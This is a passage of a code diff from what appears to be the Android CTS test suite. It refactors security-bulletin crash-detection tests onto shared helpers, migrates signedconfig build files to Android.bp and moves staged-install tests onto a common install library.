diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
index 98994e1..6daa385 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
@@ -26,9 +26,6 @@
      */
     @SecurityTest(minPatchLevel = "2016-10")
     public void testPocCVE_2016_3913() throws Exception {
-        AdbUtils.runCommandLine("logcat -c",getDevice());
-        AdbUtils.runPoc("CVE-2016-3913", getDevice(), 60);
-        String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatchesMultiLine("Fatal signal 11.*?/system/bin/mediaserver",logcat);
+        AdbUtils.runPocAssertNoCrashes("CVE-2016-3913", getDevice(), "mediaserver");
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
index e2e5134..f9d4e1d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
@@ -35,11 +35,7 @@
    */
   @SecurityTest(minPatchLevel = "2017-02")
   public void testPocCVE_2017_0415() throws Exception {
-      AdbUtils.runCommandLine("logcat -c", getDevice());
-      AdbUtils.runPoc("CVE-2017-0415", getDevice(), 60);
-      String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
-      assertNotMatchesMultiLine("Fatal signal[\\s\\S]*>>> /system/bin/mediaserver <<<",
-          logcatOut);
+      AdbUtils.runPocAssertNoCrashes("CVE-2017-0415", getDevice(), "mediaserver");
   }
 
     /**
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
index e0294d3..179b0cb 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
@@ -94,11 +94,7 @@
      */
     @SecurityTest(minPatchLevel = "2017-03")
     public void testPocCVE_2017_0479() throws Exception {
-        AdbUtils.runCommandLine("logcat -c" , getDevice());
-        AdbUtils.runPocNoOutput("CVE-2017-0479", getDevice(), 60);
-        String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatchesMultiLine("Fatal signal 11 \\(SIGSEGV\\).*>>> /system/bin/" +
-                         "audioserver <<<", logcatOut);
+        AdbUtils.runPocAssertNoCrashes("CVE-2017-0479", getDevice(), "audioserver");
     }
 
     /*
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
index e1c4977..3fbf3d2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
@@ -33,9 +33,6 @@
                                     " -t audio/amr", getDevice());
         // Wait for intent to be processed before checking logcat
         Thread.sleep(5000);
-        String logcat =  AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatchesMultiLine("Fatal signal 11 \\(SIGSEGV\\)" +
-                         "[\\s\\n\\S]*>>> /system/bin/" +
-                         "mediaserver <<<", logcat);
+        AdbUtils.assertNoCrashes(getDevice(), "mediaserver");
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
index 67becec..131b580 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
@@ -21,13 +21,13 @@
 @SecurityTest
 public class Poc17_12 extends SecurityTestCase {
 
-  /**
-   * b/38045794
-   */
-  @SecurityTest(minPatchLevel = "2017-12")
-  public void testPocCVE_2017_6262() throws Exception {
-    if(containsDriver(getDevice(),"/dev/dri/renderD128")) {
-      AdbUtils.runPocNoOutput("CVE-2017-6262", getDevice(), 300);
+    /**
+     * b/38045794
+     */
+    @SecurityTest(minPatchLevel = "2017-12")
+    public void testPocCVE_2017_6262() throws Exception {
+        if(containsDriver(getDevice(),"/dev/dri/renderD128")) {
+            AdbUtils.runPocNoOutput("CVE-2017-6262", getDevice(), 300);
+        }
     }
-  }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
index 9278af4..b270c69 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
@@ -37,24 +37,11 @@
   }
 
   /**
-   * CVE-2018-5892
+   *  b/73172817
    */
-  @SecurityTest(minPatchLevel = "2018-06")
-  public void testPocCVE_2018_5892() throws Exception {
-    String result = AdbUtils.runCommandLine(
-        "pm list package com.emoji.keyboard.touchpal", getDevice());
-    assertFalse(result.contains("com.emoji.keyboard.touchpal"));
+  @SecurityTest
+  public void testPocCVE_2018_9344() throws Exception {
+      AdbUtils.runPocAssertNoCrashes(
+          "CVE-2018-9344", getDevice(), "android\\.hardware\\.drm@\\d\\.\\d-service");
   }
-
-    /**
-     *  b/73172817
-     */
-    @SecurityTest
-    public void testPocCVE_2018_9344() throws Exception {
-        AdbUtils.runCommandLine("logcat -c", getDevice());
-        AdbUtils.runPoc("CVE-2018-9344", getDevice(), 30);
-        String output = AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatchesMultiLine(">>> /vendor/bin/hw/android.hardware.cas@1.0-service <<<" +
-                ".*?signal 11 \\(SIGSEGV\\)", output);
-    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
index 9595d5a..173508c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
@@ -22,14 +22,12 @@
 @SecurityTest
 public class Poc18_07 extends SecurityTestCase {
 
-    /**
-     * b/76221123
-     */
-     @SecurityTest(minPatchLevel = "2018-07")
-     public void testPocCVE_2018_9424() throws Exception {
-       AdbUtils.runCommandLine("logcat -c" , getDevice());
-       AdbUtils.runPoc("CVE-2018-9424", getDevice(), 60);
-       String result = AdbUtils.runCommandLine("logcat -d", getDevice());
-       assertNotMatchesMultiLine("Fatal signal", result);
-     }
+   /**
+    * b/76221123
+    */
+    @SecurityTest(minPatchLevel = "2018-07")
+    public void testPocCVE_2018_9424() throws Exception {
+        AdbUtils.runPocAssertNoCrashes(
+            "CVE-2018-9424", getDevice(), "android\\.hardware\\.drm@\\d\\.\\d-service");
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
index 796119d..1615947 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
@@ -50,4 +50,15 @@
         int code = AdbUtils.runProxyAutoConfig("CVE-2019-2047", getDevice());
         assertTrue(code != 139); // 128 + signal 11
     }
+
+    /**
+     * CVE-2019-2257
+     */
+    @SecurityTest(minPatchLevel = "2019-05")
+    public void testPocCVE_2019_2257() throws Exception {
+        String result = AdbUtils.runCommandLine(
+                                "dumpsys package com.qualcomm.qti.telephonyservice", getDevice());
+        assertFalse(result.contains(
+                            "permission com.qualcomm.permission.USE_QTI_TELEPHONY_SERVICE"));
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java
new file mode 100644
index 0000000..2007914
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java
@@ -0,0 +1,44 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+
+import static org.junit.Assert.assertFalse;
+
+@SecurityTest
+public class Poc19_11 extends SecurityTestCase {
+
+    /**
+     * b/138441919
+     */
+    @SecurityTest(minPatchLevel = "2019-11")
+    public void testPocBug_138441919() throws Exception {
+        int code = AdbUtils.runProxyAutoConfig("bug_138441919", getDevice());
+        assertTrue(code != 139); // 128 + signal 11
+    }
+
+    /**
+     * b/138442295
+     */
+    @SecurityTest(minPatchLevel = "2019-11")
+    public void testPocBug_138442295() throws Exception {
+        int code = AdbUtils.runProxyAutoConfig("bug_138442295", getDevice());
+        assertTrue(code != 139); // 128 + signal 11
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index 479f18d..0939627 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -36,6 +36,7 @@
     private long kernelStartTime;
 
     private HostsideOomCatcher oomCatcher = new HostsideOomCatcher(this);
+    private HostsideMainlineModuleDetector mainlineModuleDetector = new HostsideMainlineModuleDetector(this);
 
     /**
      * Waits for device to be online, marks the most recent boottime of the device
@@ -210,4 +211,21 @@
     public HostsideOomCatcher getOomCatcher() {
         return oomCatcher;
     }
+
+    /**
+     * Return true if a module is play managed.
+     *
+     * Example of skipping a test based on mainline modules:
+     *  <pre>
+     *  @Test
+     *  public void testPocCVE_1234_5678() throws Exception {
+     *      // This will skip the test if MODULE_METADATA mainline module is play managed.
+     *      assumeFalse(moduleIsPlayManaged("com.google.android.captiveportallogin"));
+     *      // Do testing...
+     *  }
+     *  * </pre>
+     */
+    boolean moduleIsPlayManaged(String modulePackageName) throws Exception {
+        return mainlineModuleDetector.getPlayManagedModules().contains(modulePackageName);
+    }
 }
diff --git a/hostsidetests/signedconfig/Android.mk b/hostsidetests/signedconfig/Android.mk
deleted file mode 100644
index 9aaa6ac..0000000
--- a/hostsidetests/signedconfig/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/signedconfig/app/Android.bp b/hostsidetests/signedconfig/app/Android.bp
new file mode 100644
index 0000000..eb00aa6
--- /dev/null
+++ b/hostsidetests/signedconfig/app/Android.bp
@@ -0,0 +1,147 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_defaults {
+    name: "CtsSignedConfigDefaults",
+    sdk_version: "current",
+    optimize: {
+        enabled: false,
+    },
+    dex_preopt: {
+        enabled: false,
+    },
+    srcs: ["src/**/*.java"],
+}
+
+android_test_helper_app {
+    name: "CtsSignedConfigTestAppV1",
+    defaults: ["CtsSignedConfigDefaults"],
+    manifest: "version1_AndroidManifest.xml",
+    sdk_version: "current",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
+
+android_test_helper_app {
+    name: "CtsSignedConfigTestAppV1_instant",
+    defaults: ["CtsSignedConfigDefaults"],
+    manifest: "version1_instant_AndroidManifest.xml",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
+
+android_test_helper_app {
+    name: "CtsSignedConfigTestAppV2",
+    defaults: ["CtsSignedConfigDefaults"],
+    manifest: "version2_AndroidManifest.xml",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
+
+android_test_helper_app {
+    name: "CtsSignedConfigTestAppV2_instant",
+    defaults: ["CtsSignedConfigDefaults"],
+    manifest: "version2_instant_AndroidManifest.xml",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
+
+android_test_helper_app {
+    name: "CtsSignedConfigTestApp2V1",
+    defaults: ["CtsSignedConfigDefaults"],
+    manifest: "version1_package2_AndroidManifest.xml",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
+
+android_test_helper_app {
+    name: "CtsSignedConfigTestApp2V2",
+    defaults: ["CtsSignedConfigDefaults"],
+    manifest: "version2_package2_AndroidManifest.xml",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
+
+android_test_helper_app {
+    name: "CtsSignedConfigTestAppV1_badsignature",
+    defaults: ["CtsSignedConfigDefaults"],
+    manifest: "version1_badsignature_AndroidManifest.xml",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
+
+android_test_helper_app {
+    name: "CtsSignedConfigTestAppV1_badb64_config",
+    defaults: ["CtsSignedConfigDefaults"],
+    manifest: "version1_badb64_config_AndroidManifest.xml",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
+
+android_test_helper_app {
+    name: "CtsSignedConfigTestAppV1_badb64_signature",
+    defaults: ["CtsSignedConfigDefaults"],
+    manifest: "version1_badb64_signature_AndroidManifest.xml",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
+
+android_test_helper_app {
+    name: "CtsSignedConfigTestAppV3_configv1",
+    defaults: ["CtsSignedConfigDefaults"],
+    manifest: "version3_configv1_AndroidManifest.xml",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
+
+android_test_helper_app {
+    name: "CtsSignedConfigTestAppV1_debug_key",
+    defaults: ["CtsSignedConfigDefaults"],
+    manifest: "version1_debug_key_AndroidManifest.xml",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/signedconfig/app/Android.mk b/hostsidetests/signedconfig/app/Android.mk
deleted file mode 100644
index 448f785..0000000
--- a/hostsidetests/signedconfig/app/Android.mk
+++ /dev/null
@@ -1,79 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV1
-LOCAL_MANIFEST_FILE := version1_AndroidManifest.xml
-include $(LOCAL_PATH)/build_signedconfig_apk.mk
-
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV1_instant
-LOCAL_MANIFEST_FILE := version1_instant_AndroidManifest.xml
-include $(LOCAL_PATH)/build_signedconfig_apk.mk
-
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV2
-LOCAL_MANIFEST_FILE := version2_AndroidManifest.xml
-include $(LOCAL_PATH)/build_signedconfig_apk.mk
-
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV2_instant
-LOCAL_MANIFEST_FILE := version2_instant_AndroidManifest.xml
-include $(LOCAL_PATH)/build_signedconfig_apk.mk
-
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignedConfigTestApp2V1
-LOCAL_MANIFEST_FILE := version1_package2_AndroidManifest.xml
-include $(LOCAL_PATH)/build_signedconfig_apk.mk
-
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignedConfigTestApp2V2
-LOCAL_MANIFEST_FILE := version2_package2_AndroidManifest.xml
-include $(LOCAL_PATH)/build_signedconfig_apk.mk
-
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV1_badsignature
-LOCAL_MANIFEST_FILE := version1_badsignature_AndroidManifest.xml
-include $(LOCAL_PATH)/build_signedconfig_apk.mk
-
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV1_badb64_config
-LOCAL_MANIFEST_FILE := version1_badb64_config_AndroidManifest.xml
-include $(LOCAL_PATH)/build_signedconfig_apk.mk
-
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV1_badb64_signature
-LOCAL_MANIFEST_FILE := version1_badb64_signature_AndroidManifest.xml
-include $(LOCAL_PATH)/build_signedconfig_apk.mk
-
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV3_configv1
-LOCAL_MANIFEST_FILE := version3_configv1_AndroidManifest.xml
-include $(LOCAL_PATH)/build_signedconfig_apk.mk
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV1_debug_key
-LOCAL_MANIFEST_FILE := version1_debug_key_AndroidManifest.xml
-include $(LOCAL_PATH)/build_signedconfig_apk.mk
diff --git a/hostsidetests/signedconfig/hostside/Android.bp b/hostsidetests/signedconfig/hostside/Android.bp
new file mode 100644
index 0000000..78c3b48
--- /dev/null
+++ b/hostsidetests/signedconfig/hostside/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsSignedConfigHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "tools-common-prebuilt",
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+        "guava",
+        "truth-prebuilt",
+    ],
+    static_libs: ["hamcrest-library"],
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/signedconfig/hostside/Android.mk b/hostsidetests/signedconfig/hostside/Android.mk
deleted file mode 100644
index 8f08e49..0000000
--- a/hostsidetests/signedconfig/hostside/Android.mk
+++ /dev/null
@@ -1,59 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsSignedConfigHostTestCases
-
-LOCAL_CTS_TEST_PACKAGE := android.signedconfig
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := \
-    tools-common-prebuilt \
-    cts-tradefed \
-    tradefed \
-    compatibility-host-util \
-    guava \
-    truth-prebuilt
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    hamcrest-library
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_ADDITIONAL_DEPENDENCIES := $(call module-installed-files, \
-    CtsSignedConfigTestAppV1 \
-    CtsSignedConfigTestAppV1_instant \
-    CtsSignedConfigTestAppV2 \
-    CtsSignedConfigTestAppV2_instant \
-    CtsSignedConfigTestApp2V1 \
-    CtsSignedConfigTestApp2V2 \
-    CtsSignedConfigTestAppV1_badsignature \
-    CtsSignedConfigTestAppV1_badb64_config \
-    CtsSignedConfigTestAppV1_badb64_signature \
-    CtsSignedConfigTestAppV3_configv1 \
-    CtsSignedConfigTestAppV1_debug_key \
-    )
-
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/signedconfig/hostside/AndroidTest.xml b/hostsidetests/signedconfig/hostside/AndroidTest.xml
index 61b88e3..0a67693 100644
--- a/hostsidetests/signedconfig/hostside/AndroidTest.xml
+++ b/hostsidetests/signedconfig/hostside/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
 
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
diff --git a/hostsidetests/stagedinstall/Android.bp b/hostsidetests/stagedinstall/Android.bp
index 01bb8be..b777cc3 100644
--- a/hostsidetests/stagedinstall/Android.bp
+++ b/hostsidetests/stagedinstall/Android.bp
@@ -32,7 +32,8 @@
 
     test_suites: [
         "cts",
-        "general-tests"
+        "general-tests",
+        "mts",
     ],
 }
 
@@ -52,46 +53,20 @@
         ":StagedInstallTestApexV2_WithPreInstallHook",
         ":StagedInstallTestApexV2_WrongSha",
         ":StagedInstallTestApexV3",
-        ":StagedInstallTestAppAv1",
-        ":StagedInstallTestAppAv2",
-        ":StagedInstallTestAppBv1",
         ":StagedInstallTestAppSamePackageNameAsApex",
     ],
     static_libs: [
         "androidx.test.runner",
         "androidx.test.core",
         "truth-prebuilt",
+	"cts-install-lib",
     ],
-    sdk_version: "system_current",
+    sdk_version: "test_current",
     test_suites: ["device-tests"],
 
 }
 
 android_test_helper_app {
-    name: "StagedInstallTestAppAv1",
-
-    srcs:   ["testdata/apk/src/**/*java"],
-
-    manifest:   "testdata/apk/Av1.xml",
-}
-
-android_test_helper_app {
-    name: "StagedInstallTestAppAv2",
-
-    srcs:   ["testdata/apk/src/**/*java"],
-
-    manifest:   "testdata/apk/Av2.xml",
-}
-
-android_test_helper_app {
-    name: "StagedInstallTestAppBv1",
-
-    srcs:   ["testdata/apk/src/**/*java"],
-
-    manifest:   "testdata/apk/Bv1.xml",
-}
-
-android_test_helper_app {
     name: "StagedInstallTestAppSamePackageNameAsApex",
 
     srcs:   ["testdata/apk/src/**/*java"],
diff --git a/hostsidetests/stagedinstall/AndroidTest.xml b/hostsidetests/stagedinstall/AndroidTest.xml
index ad944b0..64d7495 100644
--- a/hostsidetests/stagedinstall/AndroidTest.xml
+++ b/hostsidetests/stagedinstall/AndroidTest.xml
@@ -24,10 +24,10 @@
         <option name="test-file-name" value="StagedInstallTest.apk" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="pm uninstall com.android.tests.stagedinstall.testapp.A" />
-        <option name="run-command" value="pm uninstall com.android.tests.stagedinstall.testapp.B" />
-        <option name="teardown-command" value="pm uninstall com.android.tests.stagedinstall.testapp.A" />
-        <option name="teardown-command" value="pm uninstall com.android.tests.stagedinstall.testapp.B" />
+        <option name="run-command" value="pm uninstall com.android.cts.install.lib.testapp.A" />
+        <option name="run-command" value="pm uninstall com.android.cts.install.lib.testapp.B" />
+        <option name="teardown-command" value="pm uninstall com.android.cts.install.lib.testapp.A" />
+        <option name="teardown-command" value="pm uninstall com.android.cts.install.lib.testapp.B" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.HostTest" >
         <option name="class" value="com.android.tests.stagedinstall.host.StagedInstallTest" />
diff --git a/hostsidetests/stagedinstall/TEST_MAPPING b/hostsidetests/stagedinstall/TEST_MAPPING
index c487fa3..8a1c753 100644
--- a/hostsidetests/stagedinstall/TEST_MAPPING
+++ b/hostsidetests/stagedinstall/TEST_MAPPING
@@ -1,6 +1,16 @@
 {
   "presubmit": [
     {
+      "name": "CtsStagedInstallHostTestCases",
+      "options": [
+        {
+          "exclude-annotation": "android.platform.test.annotations.LargeTest"
+        }
+      ]
+    }
+  ],
+  "postsubmit": [
+    {
       "name": "CtsStagedInstallHostTestCases"
     }
   ]
diff --git a/hostsidetests/stagedinstall/app/AndroidManifest.xml b/hostsidetests/stagedinstall/app/AndroidManifest.xml
index c327b79..51c2ec4 100644
--- a/hostsidetests/stagedinstall/app/AndroidManifest.xml
+++ b/hostsidetests/stagedinstall/app/AndroidManifest.xml
@@ -18,7 +18,7 @@
           package="com.android.tests.stagedinstall" >
 
     <application>
-        <receiver android:name="com.android.tests.stagedinstall.LocalIntentSender"
+        <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
                   android:exported="true" />
         <receiver android:name="com.android.tests.stagedinstall.SessionUpdateBroadcastReceiver">
             <intent-filter>
@@ -32,4 +32,4 @@
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="com.android.tests.stagedinstall"
                      android:label="StagedInstall Test"/>
-</manifest>
\ No newline at end of file
+</manifest>
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java
index f9c4ba8..c36c4f7 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java
+++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java
@@ -21,22 +21,22 @@
 import static com.google.common.truth.Truth.assertThat;
 
 import android.Manifest;
-import android.content.Context;
 import android.content.Intent;
-import android.content.pm.PackageInfo;
 import android.content.pm.PackageInstaller;
-import android.content.pm.PackageManager;
 
 import androidx.test.platform.app.InstrumentationRegistry;
 
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.InstallUtils;
+import com.android.cts.install.lib.LocalIntentSender;
+import com.android.cts.install.lib.TestApp;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.JUnit4;
 
-import java.io.InputStream;
-import java.io.OutputStream;
 import java.util.concurrent.TimeUnit;
 
 /**
@@ -120,63 +120,17 @@
 
     @Test
     public void testInstallRejected_VerifyPostReboot() throws Exception {
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
-    }
-
-    private static PackageInstaller getPackageInstaller() {
-        return InstrumentationRegistry.getInstrumentation().getContext().getPackageManager()
-                .getPackageInstaller();
-    }
-
-    private static long getInstalledVersion(String packageName) {
-        Context context = InstrumentationRegistry.getInstrumentation().getContext();
-        PackageManager pm = context.getPackageManager();
-        try {
-            PackageInfo info = pm.getPackageInfo(packageName, PackageManager.MATCH_APEX);
-            return info.getLongVersionCode();
-        } catch (PackageManager.NameNotFoundException e) {
-            return -1;
-        }
+        assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
     }
 
     private static int stageApex(String apexFileName) throws Exception {
-        PackageInstaller installer = getPackageInstaller();
-
-        PackageInstaller.SessionParams params = new PackageInstaller.SessionParams(
-                PackageInstaller.SessionParams.MODE_FULL_INSTALL);
-        params.setInstallAsApex();
-        params.setStaged();
-        int sessionId = installer.createSession(params);
-        PackageInstaller.Session session = installer.openSession(sessionId);
-        writeApex(session, apexFileName);
+        TestApp apexTestApp = new TestApp("ShimApex", SHIM_APEX_PACKAGE_NAME, 2,
+                true, apexFileName);
+        int sessionId = Install.single(apexTestApp).setStaged().createSession();
+        PackageInstaller.Session session = InstallUtils.openPackageInstallerSession(sessionId);
         session.commit(LocalIntentSender.getIntentSender());
         Intent result = LocalIntentSender.getIntentSenderResult();
-        assertStatusSuccess(result);
+        InstallUtils.assertStatusSuccess(result);
         return sessionId;
     }
-
-    private static void writeApex(PackageInstaller.Session session, String apkFileName)
-            throws Exception {
-        try (OutputStream packageInSession = session.openWrite(apkFileName, 0, -1);
-             InputStream is =
-                     ApexShimValidationTest.class.getClassLoader().getResourceAsStream(
-                             apkFileName)) {
-            byte[] buffer = new byte[4096];
-            int n;
-            while ((n = is.read(buffer)) >= 0) {
-                packageInSession.write(buffer, 0, n);
-            }
-        }
-    }
-
-    private static void assertStatusSuccess(Intent result) {
-        int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
-                PackageInstaller.STATUS_FAILURE);
-        if (status == -1) {
-            throw new AssertionError("PENDING USER ACTION");
-        } else if (status > 0) {
